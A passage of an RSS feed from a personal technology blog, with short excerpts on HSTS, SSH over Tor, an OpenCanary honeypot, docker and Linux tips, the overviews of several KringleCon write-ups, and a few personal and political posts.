      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;On January 27, 2021 I &lt;a href=&#34;https://jasonmurray.org/posts/2021/covid-1st-shot/&#34;&gt;received the first dose of the COVID vaccine&lt;/a&gt;.  The current round of COVID-19 vaccines within the United States are &lt;a href=&#34;https://www.fda.gov/news-events/press-announcements/fda-takes-key-action-fight-against-covid-19-issuing-emergency-use-authorization-first-covid-19&#34;&gt;released for use under the FDA Emergency Use Authorization&lt;/a&gt;.  To help track an adverse side affects, the CDC created the &lt;a href=&#34;https://vsafe.cdc.gov&#34;&gt;v-safe symptom tracking system&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;V-safe is a smartphone-based tool that checks in on you after your COVID-19 vaccination. Your participation helps keep COVID-19 vaccines safe — for you and for everyone.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Force HTTPS connections with HSTS</title>
      <link>https://jasonmurray.org/posts/2021/hsts/</link>
      <pubDate>Tue, 02 Feb 2021 04:33:14 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/hsts/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;HTTP Strict Transport Security (HSTS) is a mechanism web servers issue to signal clients an &lt;code&gt;https&lt;/code&gt; connection is mandatory in order to fetch content. HSTS helps to protect websites against man-in-the-middle techniques such as protocol downgrading or cookie hijacking.&lt;/p&gt;&#xA;&lt;p&gt;The HSTS policy is communicated to clients by injecting a &lt;code&gt;Strict-Transport-Security&lt;/code&gt; header in the &lt;code&gt;http&lt;/code&gt; response from the web server.  The header includes the minimum number of seconds the client must honor the policy.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Connecting to a Tor onion domain over SSH</title>
      <link>https://jasonmurray.org/posts/2021/sshtorproxy/</link>
      <pubDate>Mon, 01 Feb 2021 06:00:59 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/sshtorproxy/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;In order to connect to a &lt;code&gt;.onion&lt;/code&gt; URL or domain through SSH, the connection must be relayed through a Tor SOCKS proxy with the &lt;code&gt;-o ProxyCommand&lt;/code&gt; option:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh -o ProxyCommand=&amp;#39;nc -x 127.0.0.1:9050 %h %p&amp;#39; trspv4gsa5irkrflbskyzwfo6vsj5h6i6zaelgc52hxmuoz6w6xpzbid.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;First, start the &lt;code&gt;tor&lt;/code&gt; service on the system running the &lt;code&gt;ssh&lt;/code&gt; client:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@Jasons-MacBook-Pro:~ $ tor&#xA;Jan 30 16:03:59.884 [notice] Tor 0.4.4.6 running on Darwin with Libevent 2.1.12-stable, OpenSSL 1.1.1i, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;Jan 30 16:03:59.884 [notice] Tor can&amp;#39;t help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jan 30 16:03:59.884 [notice] Configuration file &amp;#34;/usr/local/etc/tor/torrc&amp;#34; not present, using reasonable defaults.&#xA;Jan 30 16:03:59.886 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jan 30 16:03:59.886 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Jan 30 16:03:59.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.4.4.6/share/tor/geoip.&#xA;Jan 30 16:04:00.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.4.4.6/share/tor/geoip6.&#xA;Jan 30 16:04:00.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Jan 30 16:04:00.000 [notice] Starting with guard context &amp;#34;default&amp;#34;&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 5% (conn): Connecting to a relay&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 10% (conn_done): Connected to a relay&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;Jan 30 16:04:01.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;Jan 30 16:04:02.000 [notice] Bootstrapped 100% (done): Done&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Establish an &lt;code&gt;ssh&lt;/code&gt; session by using the &lt;code&gt;-o ProxyCommand&lt;/code&gt; and &lt;code&gt;netcat (nc)&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Safari is automatically redirecting to an HTTPS site that does not exist</title>
      <link>https://jasonmurray.org/posts/2021/safarihttpsredirection/</link>
      <pubDate>Sun, 31 Jan 2021 06:37:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/safarihttpsredirection/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;When I entered the URL&lt;code&gt;http://localhost:1313&lt;/code&gt; into the Safari web browser, it automatically redirected the request to &lt;code&gt;https://localhost:1313&lt;/code&gt;.  No amount of manually retyping &lt;code&gt;http&lt;/code&gt; or cache clearing resolved the problem.  After a bit of research, I determined the problem is caused by the HTTP Strict Transport Security cache.  HSTS forces web browsers to only connect to a domain over the secure &lt;code&gt;https&lt;/code&gt; protocol.&lt;/p&gt;&#xA;&lt;p&gt;In this example &lt;code&gt;http://localhost:1313&lt;/code&gt; is my Hugo development server.   It never used HSTS &lt;code&gt;https&lt;/code&gt;, I am unsure why it Safari thought it was.   This post details the steps necessary to clear the HSTS cache to allow unencrypted &lt;code&gt;http&lt;/code&gt; connections again.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Embedding a task list board in a Notion page</title>
      <link>https://jasonmurray.org/posts/2021/notiontasks/</link>
      <pubDate>Sat, 30 Jan 2021 06:16:37 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/notiontasks/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;My day starts and ends by reviewing outstanding tasks tracked in &lt;a href=&#34;https://notion.io/&#34;&gt;Notion&lt;/a&gt;. Each day is unique, requiring shuffling items between the &lt;code&gt;active&lt;/code&gt; and &lt;code&gt;later&lt;/code&gt; buckets. In addition, I keep a high level journal of the day’s events. Being mindful of the day helps me to prioritize the import tasks and use my time wisely.&lt;/p&gt;&#xA;&lt;p&gt;Each of these items, tasks and journal, are tracked on their own separate page.  However, I discovered a option within Notion to insert a linked database from one page into another.  This post will explain how to create a linked database within Notion.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Configuring nginx to use the TOR Onion-Location header</title>
      <link>https://jasonmurray.org/posts/2021/onionlocation/</link>
      <pubDate>Fri, 29 Jan 2021 04:13:37 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/onionlocation/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;I &lt;a href=&#34;https://jasonmurray.org/posts/2021/jmtor/&#34;&gt;recently added https://jasonmurray.org/&lt;/a&gt; behind the &lt;a href=&#34;https://2019.www.torproject.org/docs/onion-services&#34;&gt;Onion Service Protocol&lt;/a&gt;, formally known as TOR hidden servers.   As noted in the post, my objective was not to hide the server, it does have my full name in the domain name after all, but to give visitors a way to remain anonymous while browsing my site.&lt;/p&gt;&#xA;&lt;p&gt;If a user is attached to the Tor network and their browser supports the &lt;code&gt;Onion-location&lt;/code&gt; headers, I am able to automatically redirect any attempts to access &lt;code&gt;https://jasonmurray.org/&lt;/code&gt; to the corresponding &lt;code&gt;.onion&lt;/code&gt; URL.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Install a Opencanary honeypot on Debian 10</title>
      <link>https://jasonmurray.org/posts/2021/opencanary/</link>
      <pubDate>Thu, 28 Jan 2021 06:14:11 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/opencanary/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;A honeypot is a server lying in wait for rogue actors to interrogate it&amp;rsquo;s services.  These servers allow a security team to detect attempts to scan for open services running within the connected network.   Honeypots listen on ports which simulate commonly attacked services such as &lt;code&gt;rdp&lt;/code&gt;, &lt;code&gt;smb&lt;/code&gt;, &lt;code&gt;ssh&lt;/code&gt;, etc.   Under normal circumstances, these servers do not receive any connection attempts.  Communication with honeypot services will generate an alert signifying a possible break-in attempt.&lt;/p&gt;</description>
    </item>
    <item>
      <title>First dose of the COVID-19 vaccine</title>
      <link>https://jasonmurray.org/posts/2021/covid-1st-shot/</link>
      <pubDate>Wed, 27 Jan 2021 13:54:14 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/covid-1st-shot/</guid>
      <description>&lt;p&gt;I am both humbled and excited to receive the first dose of the Pfizer-BioNTech COVID-19 vaccine today.  Thanks to excellent preparation and planning by the Washington University in St. Louis School of Medicine and the BJC Healthcare System, the process was extremely quick and painless.&lt;/p&gt;&#xA;&lt;p&gt;Upon arriving at the vaccination site, the medical staff greeted me, asked a few questions, then directed us to down a hallway to the next station.  At this point we filled out a standard medical questionnaire asking about allergies, covid exposure, etc.  Once complete, we moved into a large conference room with medical staff ready to administer the injection.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Common docker commands</title>
      <link>https://jasonmurray.org/posts/2021/dockercommands/</link>
      <pubDate>Tue, 26 Jan 2021 08:35:12 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/dockercommands/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;As a network architect, more and more software I use on a regular basis or within my lab environment is deployed via &lt;code&gt;docker&lt;/code&gt;.   Since I don&amp;rsquo;t use &lt;code&gt;docker&lt;/code&gt; on a daily basis, remembering the basic commands quickly falls out of my memory after after a few weeks or months pass.&lt;/p&gt;&#xA;&lt;p&gt;This is my place to store and reference commonly used &lt;code&gt;docker&lt;/code&gt; commands.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-commands&#34;&gt;The Commands&lt;/h1&gt;&#xA;&lt;h2 id=&#34;display-container--image-information&#34;&gt;Display Container / Image Information&lt;/h2&gt;&#xA;&lt;p&gt;List docker images:&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective Ten Writeup: Defeat Fingerprint Sensor</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj10/</link>
      <pubDate>Mon, 25 Jan 2021 08:34:48 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj10/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective Nine Writeup: ARP Shenanigans</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj9/</link>
      <pubDate>Sun, 24 Jan 2021 11:47:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj9/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective Eight Writeup: Broken Tag Generator</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj8/</link>
      <pubDate>Sat, 23 Jan 2021 12:15:07 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj8/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective Four Writeup: Operate the Santavator</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj4/</link>
      <pubDate>Fri, 22 Jan 2021 11:47:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj4/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Binden&#39;s positive example, strong leadership, and executive orders</title>
      <link>https://jasonmurray.org/posts/2021/binden-day2/</link>
      <pubDate>Thu, 21 Jan 2021 10:52:11 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/binden-day2/</guid>
      <description>When President Biden took office, we moved one step closer to the issues that matter most to me.</description>
    </item>
    <item>
      <title>Welcome President Biden!</title>
      <link>https://jasonmurray.org/posts/2021/biden/</link>
      <pubDate>Wed, 20 Jan 2021 14:35:42 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/biden/</guid>
      <description>President Biden is a welcome change from the past fours years of the Trump administration.  I am looking forward to kindness, compassion, and empathy as we travel down a new path in America!</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective Three Writeup: Point-of-Sale Password Recovery</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj3/</link>
      <pubDate>Tue, 19 Jan 2021 11:47:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj3/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective Two Writeup: Investigate S3 Bucket</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj2/</link>
      <pubDate>Mon, 18 Jan 2021 11:47:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj2/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon3 2020 Objective One Writeup: Uncover Santa&#39;s Gift List</title>
      <link>https://jasonmurray.org/posts/2021/kc3-2020-obj1/</link>
      <pubDate>Sun, 17 Jan 2021 11:47:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/kc3-2020-obj1/</guid>
      <description>&lt;h1 id=&#34;kringlecon3-overview&#34;&gt;KringleCon3 Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://holidayhackchallenge.com/&#34;&gt;KringleCon&lt;/a&gt; is the annual Holiday Hacking Challenge put on by the &lt;a href=&#34;https://www.sans.org/&#34;&gt;SANS Institute&lt;/a&gt;.  Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the &lt;a href=&#34;https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag&#34;&gt;KringleCon YouTube Channel&lt;/a&gt; provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.&lt;/p&gt;&#xA;&lt;p&gt;When KringleCon is over, players publish &lt;a href=&#34;https://docs.google.com/forms/d/e/1FAIpQLSf5slJuVpUT89RtQUEjy85HmAs7acNniFH4ohUdRqORrrMKHQ/viewform&#34;&gt;writeups&lt;/a&gt;.  Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.&lt;/p&gt;</description>
    </item>
    <item>
      <title>SSH Escape Sequence</title>
      <link>https://jasonmurray.org/posts/2021/sshescapecodes/</link>
      <pubDate>Sat, 16 Jan 2021 14:35:06 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/sshescapecodes/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;An &lt;code&gt;escape sequence&lt;/code&gt; is a set of characters which signals to the application, another action will be taken.  For example, sending the &lt;code&gt;break sequence&lt;/code&gt; to a serial console, or the &lt;code&gt;hangup / terminate&lt;/code&gt; sequence to a stuck &lt;code&gt;ssh&lt;/code&gt; session.&lt;/p&gt;&#xA;&lt;p&gt;To access the &lt;code&gt;escape sequence&lt;/code&gt; in a terminal based &lt;code&gt;ssh&lt;/code&gt; session use the &lt;code&gt;~&lt;/code&gt; followed by the option.  For example, &lt;code&gt;~?&lt;/code&gt; displays the &lt;code&gt;escape sequence menu&lt;/code&gt; within SSH.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Connect to a server through &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Adding jasonmurray.org as a TOR hidden service</title>
      <link>https://jasonmurray.org/posts/2021/jmtor/</link>
      <pubDate>Fri, 15 Jan 2021 12:53:14 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/jmtor/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Installation instructions to create a TOR hidden service on a Debian 10 server.   In this example, I am adding the website &lt;code&gt;jasonmurray.org&lt;/code&gt; and accompanying &lt;code&gt;ssh&lt;/code&gt; server as a TOR hidden service.  TOR is typically used to &amp;ldquo;hide&amp;rdquo; the owners or location of a server.  In this setup, I am adding my server to TOR as an alternative way to access the resources and learn something new.  In other words, I am not trying to hide the server or my identity.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Octal file permissions in Linux</title>
      <link>https://jasonmurray.org/posts/2021/filepermissions/</link>
      <pubDate>Thu, 14 Jan 2021 15:31:21 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/filepermissions/</guid>
      <description>&lt;h1 id=&#34;gnulinux-basic-file-permission-overview&#34;&gt;GNU/Linux basic file permission overview&lt;/h1&gt;&#xA;&lt;p&gt;After creating a basic text file within a the GNU/Linux operating system:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ touch test&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You may see a set of permission that look like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ ls -al test&#xA;-rw-r--r-- 1 jemurray jemurray 40 Jan 14 21:32 test&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This section of the output above describes the type of file and the permissions associated with it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-rw-r--r--&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Broken out into individual components, each section has a specific meaning:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Log ping loss over time</title>
      <link>https://jasonmurray.org/posts/2021/pingloss/</link>
      <pubDate>Wed, 13 Jan 2021 11:08:25 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/pingloss/</guid>
      <description>&lt;p&gt;A &lt;code&gt;one liner&lt;/code&gt; to output rolling ping statistics to a specific host:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ while [ 1 ]; do echo -n &amp;#34;`date` &amp;#34;; ping -c 5 -i .2 shell.jasonmurray.org | grep -P &amp;#39;^\d.*packets&amp;#39;; sleep 1; done&#xA;Wed Jan 13 11:07:25 CST 2021 5 packets transmitted, 5 received, 0% packet loss, time 803ms&#xA;Wed Jan 13 11:07:27 CST 2021 5 packets transmitted, 5 received, 0% packet loss, time 802ms&#xA;Wed Jan 13 11:07:29 CST 2021 5 packets transmitted, 5 received, 0% packet loss, time 801ms&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Piecing together tools like this is core to the &lt;a href=&#34;https://en.wikipedia.org/wiki/Unix_philosophy&#34;&gt;Unix Philosopy&lt;/a&gt;.  It is fun to see how we can extend simple commands to make something more complex.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Display images through an iTerm2 terminal session</title>
      <link>https://jasonmurray.org/posts/2021/imgcat/</link>
      <pubDate>Tue, 12 Jan 2021 16:29:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/imgcat/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://iterm2.com/documentation-images.html&#34;&gt;iTerm2&lt;/a&gt; can display images within a terminal session without the need for a external display program.  Even over a &lt;code&gt;ssh&lt;/code&gt; session!&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;You must be using &lt;code&gt;iTerm2&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Download &lt;code&gt;imgcat&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget https://iterm2.com/utilities/imgcat&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Make &lt;code&gt;imgcat&lt;/code&gt; executable:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;chmod 755 ./imgcat&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Display an image from the terminal by executing:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;./imgcat Documents/jason-head.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first run will display this warning:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-01-12-16-29-38.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Successfully displaying an image from a terminal session:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-01-12-16-43-22.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This even works over an &lt;code&gt;ssh&lt;/code&gt; session:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-01-12-16-41-43.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Scanning text off images taken with Office 365 iOS app</title>
      <link>https://jasonmurray.org/posts/2021/o365ocr/</link>
      <pubDate>Mon, 11 Jan 2021 16:55:04 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/o365ocr/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;The Microsoft Office 365 app for iOS has a feature to import text from a photo, which is then imported into a Microsoft Word document.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Scan text using Microsoft Word in the Office 365 iOS app:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1405.PNG&#34; alt=&#34;Screen Shot&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a picture of the text to import, then crop as necessary:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1406.PNG&#34; alt=&#34;Screen Shot&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Word document after the text is scanned in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1407.PNG&#34; alt=&#34;Screen Shot&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Google Chrome: thisisunsafe SSL error bypass</title>
      <link>https://jasonmurray.org/posts/2021/thisisunsafe/</link>
      <pubDate>Sun, 10 Jan 2021 17:01:38 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/thisisunsafe/</guid>
